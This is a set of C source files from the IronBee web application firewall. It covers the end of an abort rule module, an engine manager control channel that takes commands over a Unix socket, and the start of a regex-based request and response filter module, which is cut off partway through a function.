ib_list_create(&abort_modifiers, mm); if (rc != IB_OK) { ib_log_error(ib, "%s: Failed to create modifier list: %s", module->name, ib_status_to_string(rc)); return rc; } abort_rule->abort_modifiers = abort_modifiers; abort_rule->rule = rule; /* Save it into the hash */ rc = ib_hash_set(rules, rule_id, abort_rule); if (rc != IB_OK) { ib_log_error(ib, "%s: Failed to set rule data for \"%s\": %s", module->name, rule_id, ib_status_to_string(rc)); return rc; } /* Done */ *pabort_rule = abort_rule; return IB_OK; } /** * Add modifiers to the abort rule's modifier list * * If @a filter_fn is not NULL, it is invoked for each of the abort modifiers. * @a filter_fn is expected to return true if the abort modifier matches, false * if not. If @a filter_fn returns true, the abort modifier is added to the * associated list; if not, it is ignored. @sa abort_filter_fn_t * * @param[in] ib IronBee engine * @param[in] mm Memory manager to use for allocations * @param[in] module Module object * @param[in] rules_hash Rules hash to operate on * @param[in] rule Associated rule * @param[in] filter_fn Filter function or NULL @ref abort_filter_fn_t * @param[in] true_modifiers List of true modifiers to add * @param[in] false_modifiers List of false modifiers to add * * @returns Status code */ static ib_status_t add_abort_modifiers( const ib_engine_t *ib, ib_mm_t mm, ib_module_t *module, ib_hash_t *rules_hash, const ib_rule_t *rule, abort_filter_fn_t filter_fn, const ib_list_t *true_modifiers, const ib_list_t *false_modifiers ) { ib_status_t rc; abort_rule_t *abort_rule; const ib_list_node_t *node; /* Create the abort rule object if required */ rc = create_abort_rule(ib, mm, module, rules_hash, rule, &abort_rule); if (rc != IB_OK) { return rc; } /* Add the matching true abort_modifier_t to the abort modifier list */ IB_LIST_LOOP_CONST(true_modifiers, node) { const ib_action_inst_t *inst = ib_list_node_data_const(node); abort_modifier_t *abort_modifier = ib_action_inst_data(inst); /* Filter out abort modifiers that the filter rejects */ if ( (filter_fn == NULL) || (filter_fn(abort_modifier)) ) { abort_modifier->is_false = false; rc = ib_list_push(abort_rule->abort_modifiers, abort_modifier); if (rc != IB_OK) { return rc; } } } /* Add the matching false abort_modifier_t to the abort modifier list */ IB_LIST_LOOP_CONST(false_modifiers, node) { const ib_action_inst_t *inst = ib_list_node_data_const(node); abort_modifier_t *abort_modifier = ib_action_inst_data(inst); /* Filter out abort modifiers that the filter rejects */ if ( (filter_fn == NULL) || (filter_fn(abort_modifier)) ) { abort_modifier->is_false = true; rc = ib_list_push(abort_rule->abort_modifiers, abort_modifier); if (rc != IB_OK) { return rc; } } } /* Done */ return IB_OK; } /** * Filter operator aborts. * * @param[in] modifier Abort modifier to filter * * @returns True if @a modifier is an operator abort, otherwise false */ static bool abort_op_filter( const abort_modifier_t *modifier ) { switch (modifier->abort_type) { case ABORT_ALWAYS: case ABORT_OP_TRUE: case ABORT_OP_FALSE: case ABORT_OP_OK: case ABORT_OP_FAIL: return true; case ABORT_ACT_OK: case ABORT_ACT_FAIL: return false; } return false; } /** * Filter action aborts. * * @param[in] modifier Abort modifier to filter * * @returns True if @a modifier is an action abort, otherwise false */ static bool abort_act_filter( const abort_modifier_t *modifier ) { switch (modifier->abort_type) { case ABORT_OP_TRUE: case ABORT_OP_FALSE: case ABORT_OP_OK: case ABORT_OP_FAIL: return false; case ABORT_ALWAYS: case ABORT_ACT_OK: case ABORT_ACT_FAIL: return true; } return false; } /** * Handle rule ownership callbacks. * * Checks for abort or abortIf modifiers (actions) associated with the rule. * If so, add the rule to the appropriate rule hash. * * @param[in] ib Engine * @param[in] rule Rule being registered * @param[in] ctx Context rule is enabled in * @param[in] cbdata Callback data (@ref ib_module_t) * * @returns IB_DECLINE / Error status */ static ib_status_t abort_rule_ownership( const ib_engine_t *ib, const ib_rule_t *rule, const ib_context_t *ctx, void *cbdata ) { assert(ib != NULL); assert(rule != NULL); assert(cbdata != NULL); ib_status_t rc; ib_module_t *module = cbdata; abort_module_data_t *module_data = module->data; ib_mm_t mm = ib_engine_mm_main_get(ib); ib_list_t *true_modifiers; ib_list_t *false_modifiers; ib_mm_t tmm = ib_engine_mm_temp_get(ib); assert(module_data != NULL); /* Create the search lists */ rc = ib_list_create(&true_modifiers, tmm); if (rc != IB_OK) { return rc; } rc = ib_list_create(&false_modifiers, tmm); if (rc != IB_OK) { return rc; } /* * Handle abort modifiers */ /* Search for abort actions */ rc = rule_search(ib, rule, "abort", true_modifiers, false_modifiers); if (rc != IB_OK) { return rc; } /* If there are any matches, add this rule to both hashes */ if ( (IB_LIST_ELEMENTS(true_modifiers) != 0) || (IB_LIST_ELEMENTS(false_modifiers) != 0) ) { rc = add_abort_modifiers(ib, mm, module, module_data->op_rules, rule, NULL, true_modifiers, false_modifiers); if (rc != IB_OK) { return rc; } rc = add_abort_modifiers(ib, mm, module, module_data->act_rules, rule, NULL, true_modifiers, false_modifiers); if (rc != IB_OK) { return rc; } } /* * Handle abortIf modifiers */ /* Search for abortIf actions */ rc = rule_search(ib, rule, "abortIf", true_modifiers, false_modifiers); if (rc != IB_OK) { return rc; } /* If there are any matches, add this rule to both hashes */ if ( (IB_LIST_ELEMENTS(true_modifiers) != 0) || (IB_LIST_ELEMENTS(false_modifiers) != 0) ) { rc = add_abort_modifiers(ib, mm, module, module_data->op_rules, rule, abort_op_filter, true_modifiers, false_modifiers); if (rc != IB_OK) { return rc; } rc = add_abort_modifiers(ib, mm, module, module_data->act_rules, rule, abort_act_filter, true_modifiers, false_modifiers); if (rc != IB_OK) { return rc; } } return IB_DECLINED; } /** * Initialize the abort module * * @param[in] ib IronBee engine * @param[in] module Module * @param[in] cbdata Callback data (unused) * * @returns Status code **/ static ib_status_t abort_init( ib_engine_t *ib, ib_module_t *module, void *cbdata) { ib_status_t rc; ib_mm_t mm = ib_engine_mm_main_get(ib); abort_module_data_t *module_data; /* Create the abort module data */ module_data = ib_mm_alloc(mm, sizeof(*module_data)); if (module_data == NULL) { return IB_EALLOC; } /* Create the rule hashes */ rc = ib_hash_create_nocase(&(module_data->op_rules), mm); if (rc != IB_OK) { return rc; } rc = ib_hash_create_nocase(&(module_data->act_rules), mm); if (rc != IB_OK) { return rc; } /* Store the module data */ module->data = module_data; /* Register the abort action */ rc = ib_action_create_and_register( NULL, ib, "abort", abort_create, module, NULL, NULL, /* no destroy function */ NULL, NULL ); if (rc != IB_OK) { return rc; } /* Register the abortIf action */ rc = ib_action_create_and_register( NULL, ib, "abortIf", abort_if_create, module, NULL, NULL, /* no destroy function */ NULL, NULL ); if (rc != IB_OK) { return rc; } /* Register the AbortMode directive */ rc = ib_config_register_directive(ib, "AbortMode", IB_DIRTYPE_PARAM1, (ib_void_fn_t)abort_mode_handler, NULL, module, NULL, NULL); if (rc != IB_OK) { ib_log_error(ib, "Failed to register AbortMode directive: %s", ib_status_to_string(rc)); return rc; } /* Register the rule ownership function */ rc = ib_rule_register_ownership_fn(ib, "abort", abort_rule_ownership, module); if (rc != IB_OK) { ib_log_error(ib, "Failed to register Abort rule ownership function: %s", ib_status_to_string(rc)); return rc; } /* Register the post operator function */ rc = ib_rule_register_post_operator_fn(ib, abort_post_operator, module); if (rc != IB_OK) { ib_log_error(ib, "Failed to register post operator function: %s", ib_status_to_string(rc)); return rc; } /* Register the post action function */ rc = ib_rule_register_post_action_fn(ib, abort_post_action, module); if (rc != IB_OK) { ib_log_error(ib, "Failed to register post action function: %s", ib_status_to_string(rc)); return rc; } /* Register the TX finished state */ rc = ib_hook_tx_register(ib, tx_finished_state, handle_tx_finished, module); if (rc != IB_OK) { ib_log_error(ib, "%s: Failed to register tx finished handler: %s", module->name, ib_status_to_string(rc)); return rc; } return IB_OK; } /** * Module structure. * * This structure defines some metadata, config data and various functions. */ IB_MODULE_INIT( IB_MODULE_HEADER_DEFAULTS, /* Default metadata */ MODULE_NAME_STR, /* Module name */ IB_MODULE_CONFIG(&abort_config), /* Global config data */ NULL, /* Module config map */ NULL, /* Module directive map */ abort_init, /* Initialize function */ NULL, /* Callback data */ NULL, /* Finish function */ NULL, /* Callback data */ );
crustymonkey/ironbee
engine/engine_manager_control_channel.c
<filename>engine/engine_manager_control_channel.c /***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- Engine Manager Control Channel * * @author <NAME> <<EMAIL>> */ #include "ironbee_config_auto.h" #include <ironbee/engine_manager_control_channel.h> #include <ironbee/engine_manager.h> #include <ironbee/hash.h> #include <ironbee/mm.h> #include <ironbee/mm_mpool_lite.h> #include <ironbee/mpool_lite.h> #ifdef HAVE_VALGRIND #include <valgrind/memcheck.h> #include <valgrind/valgrind.h> #endif #include <assert.h> #include <errno.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/time.h> #include <sys/types.h> #include <sys/un.h> //! Basename of the socket file. #define DEFAULT_SOCKET_BASENAME "ironbee_manager_controller.sock" #ifdef ENGINE_MANAGER_CONTROL_SOCK_PATH //! The directory that the @ref DEFAULT_SOCKET_BASENAME will be created in. static const char *DEFAULT_SOCKET_PATH = IB_XSTRINGIFY(ENGINE_MANAGER_CONTROL_SOCK_PATH) "/" DEFAULT_SOCKET_BASENAME; #else //! The directory that the @ref DEFAULT_SOCKET_BASENAME will be created in. static const char *DEFAULT_SOCKET_PATH = "/var/run/" DEFAULT_SOCKET_BASENAME; #endif /** * Structure to hold and manipulate pointers to command implementations. */ struct cmd_t { ib_engine_manager_control_channel_cmd_fn_t fn; /**< The command. */ void *cbdata; /**< Callback data. */ const char *name; /**< The command name this is registered under. */ }; typedef struct cmd_t cmd_t; struct ib_engine_manager_control_channel_t { ib_mm_t mm; /**< Memory manager. */ ib_manager_t *manager; /**< The manager we will be controlling. */ const char *sock_path; /**< The path to the socket file. */ int sock; /**< Socket. -1 If not open. */ /*! Message buffer. */ uint8_t msg[IB_ENGINE_MANAGER_CONTROL_CHANNEL_MAX_MSG_SZ+1]; size_t msgsz; /**< How much data is in msg. */ /** * Collection of @ref cmd_t structures with command names as the index. */ ib_hash_t *cmds; }; /** * Cleanup the manager controller. * * @param[in] cbdata The @ref ib_engine_manager_control_channel_t created by * ib_engine_manager_control_channel_create(). */ static void channel_cleanup(void *cbdata) { assert(cbdata != NULL); ib_engine_manager_control_channel_t *manager_controller = (ib_engine_manager_control_channel_t *)cbdata; ib_engine_manager_control_channel_stop(manager_controller); } /** * Echo command. * * @param[in] mm Memory manager for allocations of @a result and other * allocations that should live until the response is sent. * @param[in] name The name this command is called by. * @param[in] args The command arguments. * @param[out] result This is set to @a args. * @param[in] cbdata Callback data. Unused. * * @returns IB_OK. */ static ib_status_t echo_cmd( ib_mm_t mm, const char *name, const char *args, const char **result, void *cbdata ) { assert(args != NULL); *result = args; return IB_OK; } /** * Run valgrind memory leak checks. * * @param[in] mm Memory manager for allocations of @a result and other * allocations that should live until the response is sent. * @param[in] name The name this command is called by. * @param[in] args The command arguments. Ignored. * @param[out] result Reports an error if not running under valgrind. * @param[in] cbdata The @ref ib_manager_t *. Unused. * * @returns * - IB_OK if running under valgrind and valgrind support is compiled into * IronBee. * - IB_ENOTIMPL otherwise. */ static ib_status_t manager_diag_valgrind( ib_mm_t mm, const char *name, const char *args, const char **result, void *cbdata ) { #ifdef HAVE_VALGRIND if (! RUNNING_ON_VALGRIND) { *result = "Not running under valgrind. Memory check not performed."; return IB_ENOTIMPL; } else { /* Run VALGRIND_MONITOR_COMMAND(...) with the proper syntax. */ VALGRIND_DO_LEAK_CHECK; } return IB_OK; #else *result = "IronBee not compiled with valgrind support."; return IB_OK; #endif } /** * Run valgrind memory leak checks. * * @param[in] mm Memory manager for allocations of @a result and other * allocations that should live until the response is sent. * @param[in] name The name this command is called by. * @param[in] args The command arguments. Ignored. * @param[out] result Reports an error if not running under valgrind. * @param[in] cbdata The @ref ib_manager_t *. Unused. * * @returns * - IB_OK if running under valgrind and valgrind support is compiled into * IronBee. * - IB_ENOTIMPL otherwise. */ static ib_status_t manager_diag_valgrind_added( ib_mm_t mm, const char *name, const char *args, const char **result, void *cbdata ) { #ifdef HAVE_VALGRIND if (! RUNNING_ON_VALGRIND) { *result = "Not running under valgrind. Memory check not performed."; return IB_ENOTIMPL; } else { /* Run VALGRIND_MONITOR_COMMAND(...) with the proper syntax. */ VALGRIND_DO_ADDED_LEAK_CHECK; } return IB_OK; #else *result = "IronBee not compiled with valgrind support."; return IB_OK; #endif } /** * Return the running version of IronBee. * * @param[in] mm Memory manager for allocations of @a result and other * allocations that should live until the response is sent. * @param[in] name The name this command is called by. * @param[in] args The command arguments. Ignored. * @param[out] result Set to the version of IronBee running. * @param[in] cbdata The @ref ib_manager_t *. Unused. * * @returns * - IB_OK if running under valgrind and valgrind support is compiled into * IronBee. * - IB_ENOTIMPL otherwise. */ static ib_status_t manager_diag_version( ib_mm_t mm, const char *name, const char *args, const char **result, void *cbdata ) { *result = IB_VERSION; return IB_OK; } /** * Disable manager command. * * Calls ib_manager_disable(). * * @param[in] mm Memory manager for allocations of @a result and other * allocations that should live until the response is sent. * @param[in] name The name this command is called by. * @param[in] args The command arguments. Ignored. * @param[out] result This is unchanged. * @param[in] cbdata The @ref ib_manager_t * to act on. * * @sa ib_manager_disable() * * @returns The return of ib_manager_disable(). */ static ib_status_t manager_cmd_disable( ib_mm_t mm, const char *name, const char *args, const char **result, void *cbdata ) { assert(cbdata != NULL); ib_manager_t *manager = (ib_manager_t *)cbdata; return ib_manager_disable(manager); } /** * Enable manager command. * * Calls ib_manager_enable(). * * @param[in] mm Memory manager for allocations of @a result and other * allocations that should live until the response is sent. * @param[in] name The name this command is called by. * @param[in] args The command arguments. Ignored. * @param[out] result This is unchanged. * @param[in] cbdata The @ref ib_manager_t * to act on. * * @sa ib_manager_enable() * * @returns The return of ib_manager_enable(). */ static ib_status_t manager_cmd_enable( ib_mm_t mm, const char *name, const char *args, const char **result, void *cbdata ) { assert(args != NULL); assert(cbdata != NULL); ib_manager_t *manager = (ib_manager_t *)cbdata; return ib_manager_enable(manager); } /** * Call ib_manager_engine_create(); Args is the path to the config file. * * @param[in] mm Memory manager for allocations of @a result and other * allocations that should live until the response is sent. * @param[in] name The name this command is called by. * @param[in] args The path to the configuration file to use. * @param[out] result This is unchanged. * @param[in] cbdata The @ref ib_manager_t * to act on. * * @sa ib_manager_engine_create() * * @returns The return of ib_manager_engine_create(). */ static ib_status_t manager_cmd_engine_create( ib_mm_t mm, const char *name, const char *args, const char **result, void *cbdata ) { assert(args != NULL); assert(cbdata != NULL); ib_manager_t *manager = (ib_manager_t *)cbdata; return ib_manager_engine_create(manager, args); } /** * Call ib_manager_engine_cleanup(). * * @param[in] mm Memory manager for allocations of @a result and other * allocations that should live until the response is sent. * @param[in] name The name this command is called by. * @param[in] args Unused. * @param[out] result This is unchanged. * @param[in] cbdata The @ref ib_manager_t * to act on. * * @sa ib_manager_engine_cleanup() * * @returns The return of ib_manager_engine_cleanup(). */ static ib_status_t manager_cmd_cleanup( ib_mm_t mm, const char *name, const char *args, const char **result, void *cbdata ) { assert(cbdata != NULL); ib_manager_t *manager = (ib_manager_t *)cbdata; return ib_manager_engine_cleanup(manager); } /** * Log an error message through the current IronBee engine. * * If there is no active engine available, stderr is used. * * This function exists to make consistent the slightly complex task * of fetching an @ref ib_engine_t and logging to it and returning it to * the engine manager. * * @param[in] channel The channel that we are logging about. * @param[in] action The action that failed to be performed. * @param[in] msg The message that describes the failure of the @a action. */ static void log_socket_error( ib_engine_manager_control_channel_t *channel, const char *action, const char *msg ) { assert(channel != NULL); assert(channel->manager != NULL); ib_engine_t *ib; ib_status_t rc; rc = ib_manager_engine_acquire(channel->manager, &ib); if (rc == IB_OK) { ib_log_error( ib, "Failed to %s socket %s: %s", action, channel->sock_path, msg ); ib_manager_engine_release(channel->manager, ib); } } ib_status_t ib_engine_manager_control_channel_create( ib_engine_manager_control_channel_t **channel, ib_mm_t mm, ib_manager_t *manager ) { assert(channel != NULL); assert(manager != NULL); ib_status_t rc; ib_engine_manager_control_channel_t *mc; mc = (ib_engine_manager_control_channel_t *)ib_mm_alloc(mm, sizeof(*mc)); if (mc == NULL) { return IB_EALLOC; } rc = ib_hash_create(&(mc->cmds), mm); if (rc != IB_OK) { return rc; } mc->sock = -1; mc->manager = manager; mc->mm = mm; /* Ensure that the last character is always terminated. */ mc->msg[IB_ENGINE_MANAGER_CONTROL_CHANNEL_MAX_MSG_SZ] = '\0'; mc->sock_path = DEFAULT_SOCKET_PATH; ib_mm_register_cleanup(mm, channel_cleanup, mc); *channel = mc; return IB_OK; } ib_status_t ib_engine_manager_control_channel_stop( ib_engine_manager_control_channel_t *channel ) { assert(channel != NULL); if (channel->sock >= 0) { int sysrc; close(channel->sock); channel->sock = -1; /* Remove the socket file so external programs know it's closed. */ sysrc = unlink(channel->sock_path); if (sysrc == -1 && errno != ENOENT) { log_socket_error(channel, "unlink", strerror(errno)); return IB_EOTHER; } } return IB_OK; } ib_status_t ib_engine_manager_control_channel_start( ib_engine_manager_control_channel_t *channel ) { assert(channel != NULL); int sysrc; int sock; struct sockaddr_un addr; /* Socket path is too long for the path. */ if (strlen(channel->sock_path) + 1 >= sizeof(addr.sun_path)) { return IB_EINVAL; } sock = socket(AF_UNIX, SOCK_DGRAM, 0); if (sock < 0) { log_socket_error(channel, "create", strerror(errno)); return IB_EOTHER; } addr.sun_family = AF_UNIX; strcpy(addr.sun_path, channel->sock_path); sysrc = unlink(addr.sun_path); if (sysrc == -1 && errno != ENOENT) { close(sock); log_socket_error(channel, "unlink old", strerror(errno)); return IB_EOTHER; } sysrc = bind(sock, (const struct sockaddr *)&addr, sizeof(addr)); if (sysrc == -1) { close(sock); log_socket_error(channel, "bind", strerror(errno)); return IB_EOTHER; } channel->sock = sock; return IB_OK; } /** * Check if data is available to receive. * * @param[in] channel The channel to receive from. * * @returns * - IB_OK If the channel is ready to receive a message. * - IB_EAGAIN If the channel has no data available. * - IB_OTHER Another error has occurred. */ ib_status_t ib_engine_manager_control_ready( ib_engine_manager_control_channel_t *channel ) { assert(channel != NULL); int sysrc; const int nfds = channel->sock + 1; struct timeval timeout = { 0, 0 }; fd_set readfds; fd_set exceptfds; FD_ZERO(&readfds); FD_ZERO(&exceptfds); sysrc = select(nfds, &readfds, NULL, &exceptfds, &timeout); if (sysrc < 0) { log_socket_error(channel, "select from", strerror(errno)); return IB_EOTHER; } if (sysrc > 0) { if (FD_ISSET(channel->sock, &exceptfds)) { log_socket_error(channel, "error on", strerror(errno)); return IB_EOTHER; } if (FD_ISSET(channel->sock, &readfds)) { return IB_OK; } } /* We get here by channel->sock not being in the read set or no sockets * appearing in any set (read or exception). */ return IB_EAGAIN; } /** * Process the command received and send a reply. * * @param[in] channel The channel. * @param[in] cmdline Null-terminated command line. * @param[in] cmdlinesz The string length of cmdline (not including \0). * This is provided because it is provided "for free" by * the datagram and does not mean that the string does not * terminate early with an embedded null. * @param[in] src_addr The source address as reported by @c recvfrom. * @param[in] addrlen The length of @a src_addr set by @c recvfrom. * If this is 0 then @c recvfrom did not get a valid * return address for the client and no reply will be sent. * * @returns * - IB_OK On success. * - IB_EOTHER On failure to send reply. */ static ib_status_t handle_command( ib_engine_manager_control_channel_t *channel, uint8_t *cmdline, size_t cmdlinesz, const struct sockaddr_un *src_addr, socklen_t addrlen ) { assert(channel != NULL); assert(cmdline != NULL); assert(src_addr != NULL); /* What we consider whitespace. */ static const char *ws = "\r\n\t "; ib_status_t rc; cmd_t *cmd; ib_mpool_lite_t *mp; ib_mm_t mm; const char *result = NULL; char *name; char *args; size_t name_len; ssize_t written; rc = ib_mpool_lite_create(&mp); if (rc != IB_OK) { return rc; } mm = ib_mm_mpool_lite(mp); /* Copy the cmdline so we can modify it freely. */ name = ib_mm_strdup(mm, (const char *)cmdline); if (name == NULL) { return IB_EALLOC; } /* Skip over ws character. */ name += strspn(name, ws); /* A command of all white space? Error. */ if (*name == '\0') { log_socket_error( channel, "with invalid command on", "Command name is entirely whitespace."); return IB_EINVAL; } /* Find the next whitespace character. That's the length of the name. */ name_len = strcspn(name, ws); /* If name[len] is not the end of the command line, parse the args. */ if (name[name_len] != '\0') { /* Terminate the name. */ name[name_len] = '\0'; /* Point args past the name. It may point at more leading ws.*/ args = name+name_len+1; /* Skip whitespace, as above with name. */ args += strspn(args, ws); } else { args = ""; } rc = ib_hash_get(channel->cmds, &cmd, name); if (rc == IB_ENOENT) { log_socket_error(channel, "find command on", name); result = "ENOENT: Command not found."; } else if (rc != IB_OK) { log_socket_error(channel, "retrieve command", name); result = NULL; } else { rc = cmd->fn( mm, name, args, &result, cmd->cbdata); } if (result == NULL) { result = ib_status_to_string(rc); } /* Only send a reply if we were given a valid reply address. */ if (addrlen > 0) { written = sendto( channel->sock, (void *)result, strlen(result), 0, (const struct sockaddr *)src_addr, addrlen); if (written == -1) { log_socket_error( channel, "write result response to", strerror(errno)); return IB_EOTHER; } } ib_mpool_lite_destroy(mp); return IB_OK; } ib_status_t ib_engine_manager_control_recv( ib_engine_manager_control_channel_t *channel ) { assert(channel != NULL); /* Ensure that the last byte is always null. */ assert(channel->msg[IB_ENGINE_MANAGER_CONTROL_CHANNEL_MAX_MSG_SZ] == '\0'); ib_status_t rc; ssize_t recvsz = 0; struct sockaddr_un src_addr; socklen_t addrlen = sizeof(src_addr); recvsz = recvfrom( channel->sock, channel->msg, IB_ENGINE_MANAGER_CONTROL_CHANNEL_MAX_MSG_SZ, 0, (struct sockaddr *)&src_addr, &addrlen); if (recvsz == -1) { /* On recv error the message in the channel buffer is not valid. * Set the length to 0. */ channel->msgsz = 0; log_socket_error(channel, "receive message on", strerror(errno)); return IB_EOTHER; } /* Null terminate the message. NOTE: The message buffer is 1 byte * larger than the max message we will receive, so an out-of-bounds * check has already been implicitly done by recvfrom(). */ (channel->msg)[recvsz] = '\0'; channel->msgsz = (size_t)recvsz; rc = handle_command( channel, channel->msg, channel->msgsz, &src_addr, addrlen); if (rc != IB_OK) { return rc; } return IB_OK; } ib_status_t ib_engine_manager_control_send( const char *sock_path, const char *message, ib_mm_t mm, const char **response ) { assert(sock_path != NULL); assert(message != NULL); assert(response != NULL); ib_status_t rc = IB_OK; size_t message_len = strlen(message); int sock; struct sockaddr_un dst_addr; struct sockaddr_un src_addr; int sysrc; ssize_t ssz; char *resp; /* Our copy of response. */ /* The message is too long. */ if (message_len > IB_ENGINE_MANAGER_CONTROL_CHANNEL_MAX_MSG_SZ) { return IB_EINVAL; } /* Path to socket is too long. */ if (strlen(sock_path) + 1 >= sizeof(dst_addr.sun_path)) { return IB_EINVAL; } sock = socket(AF_UNIX, SOCK_DGRAM, 0); if (sock < 0) { return IB_EOTHER; } dst_addr.sun_family = AF_UNIX; src_addr.sun_family = AF_UNIX; strcpy(dst_addr.sun_path, sock_path); sysrc = snprintf( src_addr.sun_path, sizeof(src_addr.sun_path), "/tmp/ibctrl.%d.S", getpid()); if (sysrc < 0) { rc = IB_EINVAL; goto cleanup_sock; } unlink(src_addr.sun_path); sysrc = bind(sock, (const struct sockaddr *)&src_addr, sizeof(src_addr)); if (sysrc == -1) { rc = IB_EOTHER; goto cleanup_sock; } ssz = sendto( sock, message, message_len, 0, (struct sockaddr *)&dst_addr, sizeof(dst_addr)); if (ssz == EMSGSIZE) { /* By API contract, we return IB_EINVAL here. * In practice, this should never happen. */ rc = IB_EINVAL; goto cleanup; } if (ssz < 0) { rc = IB_EOTHER; goto cleanup; } /* Since this is a datagram protocol, we should have sent everything. */ assert(ssz == (ssize_t)message_len); /* Allocate after sending the message to the server. * It is more likely that the server is down, so we defer allocating mem as * that should almost always succeed. */ resp = ib_mm_alloc(mm, IB_ENGINE_MANAGER_CONTROL_CHANNEL_MAX_MSG_SZ+1); if (resp == NULL) { rc = IB_EALLOC; goto cleanup; } ssz = recvfrom( sock, resp, IB_ENGINE_MANAGER_CONTROL_CHANNEL_MAX_MSG_SZ, 0, NULL, NULL); if (ssz == -1) { rc = IB_EOTHER; goto cleanup; } /* Ensure this is null-terminated. */ resp[ssz] = '\0'; *response = resp; cleanup: unlink(src_addr.sun_path); cleanup_sock: close(sock); return rc; } ib_status_t ib_engine_manager_control_cmd_register( ib_engine_manager_control_channel_t *channel, const char *name, ib_engine_manager_control_channel_cmd_fn_t fn, void *cbdata ) { assert(channel != NULL); assert(channel->manager != NULL); assert(channel->cmds != NULL); assert(name != NULL); cmd_t *cmd; ib_status_t rc; cmd = ib_mm_alloc(channel->mm, sizeof(*cmd)); cmd->fn = fn; cmd->cbdata = cbdata; cmd->name = ib_mm_strdup(channel->mm, name); if (name == NULL) { return IB_EALLOC; } rc = ib_hash_set(channel->cmds, name, cmd); if (rc != IB_OK) { return rc; } return IB_OK; } ib_status_t ib_engine_manager_control_echo_register( ib_engine_manager_control_channel_t *channel ) { assert(channel != NULL); return ib_engine_manager_control_cmd_register( channel, "echo", echo_cmd, NULL); } ib_status_t ib_engine_manager_control_manager_ctrl_register( ib_engine_manager_control_channel_t *channel ) { assert(channel != NULL); assert(channel->manager != NULL); ib_status_t rc; /* Local map of commands to register. All commands here * take an engine manager as their callback data. */ struct { const char *name; ib_engine_manager_control_channel_cmd_fn_t fn; } cmds[] = { { "enable", manager_cmd_enable }, { "disable", manager_cmd_disable }, { "cleanup", manager_cmd_cleanup }, { "engine_create", manager_cmd_engine_create }, { NULL, NULL } }; for (int i = 0; cmds[i].name != NULL; ++i) { rc = ib_engine_manager_control_cmd_register( channel, cmds[i].name, cmds[i].fn, channel->manager ); if (rc != IB_OK) { return rc; } } return IB_OK; } ib_status_t DLL_PUBLIC ib_engine_manager_control_manager_diag_register( ib_engine_manager_control_channel_t *channel ) { assert(channel != NULL); assert(channel->manager != NULL); ib_status_t rc; /* Local map of commands to register. All commands here * take an engine manager as their callback data. */ struct { const char *name; ib_engine_manager_control_channel_cmd_fn_t fn; } cmds[] = { { "valgrind", manager_diag_valgrind }, { "valgrind_added", manager_diag_valgrind_added }, { "version", manager_diag_version }, { NULL, NULL } }; for (int i = 0; cmds[i].name != NULL; ++i) { rc = ib_engine_manager_control_cmd_register( channel, cmds[i].name, cmds[i].fn, channel->manager ); if (rc != IB_OK) { return rc; } } return IB_OK; } const char *ib_engine_manager_control_channel_socket_path_get( const ib_engine_manager_control_channel_t *channel ) { assert(channel != NULL); assert(channel->sock_path != NULL); return channel->sock_path; } ib_status_t ib_engine_manager_control_channel_socket_path_set( ib_engine_manager_control_channel_t *channel, const char *path ) { assert(channel != NULL); assert(path != NULL); const char *path_cpy = ib_mm_strdup(channel->mm, path); if (path_cpy == NULL) { return IB_EALLOC; } channel->sock_path = path_cpy; return IB_OK; } const char *ib_engine_manager_control_channel_socket_path_default(void) { return DEFAULT_SOCKET_PATH; }
crustymonkey/ironbee
experimental/modules/rxfilter.c
<reponame>crustymonkey/ironbee /***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief Ironbee - regexp-based edits on Request and Response data streams * * NOTE: Although this module notionally supports unlimited * numbers of regexps, it will collapse in an ungainly * heap if different regexps produce overlapping matches. * This should be fixed in due course! */ #include <assert.h> #include <ctype.h> #include <regex.h> #include <ironbee/engine_state.h> #include <ironbee/array.h> #include <ironbee/module.h> #include <ironbee/context.h> #define MAX_BUFFER 4096 #define MAX_RX_MATCH 10 /** Module name. */ #define MODULE_NAME rxfilter /** Stringified version of MODULE_NAME */ #define MODULE_NAME_STR IB_XSTRINGIFY(MODULE_NAME) /* Configuration: array of regexp ops to apply to request and response data */ typedef struct rxfilter_cfg_t rxfilter_cfg_t; struct rxfilter_cfg_t { ib_array_t *req_edits; ib_array_t *resp_edits; }; /* Context for our filter: position, data buffer, error status */ typedef struct rxfilter_buffer_t rxfilter_buffer_t; struct rxfilter_buffer_t { size_t offs; ib_bytestr_t *data; ib_status_t errnum; }; /* Request context: filter contexts for request and response */ typedef struct rxfilter_ctx_t rxfilter_ctx_t; struct rxfilter_ctx_t { rxfilter_buffer_t reqbuf; rxfilter_buffer_t respbuf; }; /* Regexp op definition */ typedef struct rxop_t rxop_t; struct rxop_t { enum { RX_SUBS, RX_AFTER, RX_BEFORE, RX_DELETE } rxtype; regex_t rx; const char *repl; }; /** Construct the replacement string for a regexp edit op * * @param[in] mm - memory pool * @param[in] src - source data * @param[in] pmatch - regexp match * @param[in] repl - replacement string template * @param[out] repl_len - length of replacement string * @return replacement string */ static char *rx_repl(ib_mm_t mm, const char *src, regmatch_t pmatch[], const char *repl, size_t *repl_len) { const char *p; char c; size_t len = 0; int ch; char *ret; char *retp; /* calculate length */ p = repl; while (c = *p++, c != '\0') { if (c == '$' && isdigit(*p)) { ch = *p++ - '0'; } else { ch = MAX_RX_MATCH; } if (ch < MAX_RX_MATCH) { len += pmatch[ch].rm_eo - pmatch[ch].rm_so; } else { if (c == '\\' && *p) { ++p; } ++len; } } *repl_len = len; retp = ret = ib_mm_alloc(mm, len); /* now fill the buffer we just allocated */ p = repl; while (c = *p++, c != '\0') { if (c == '$' && 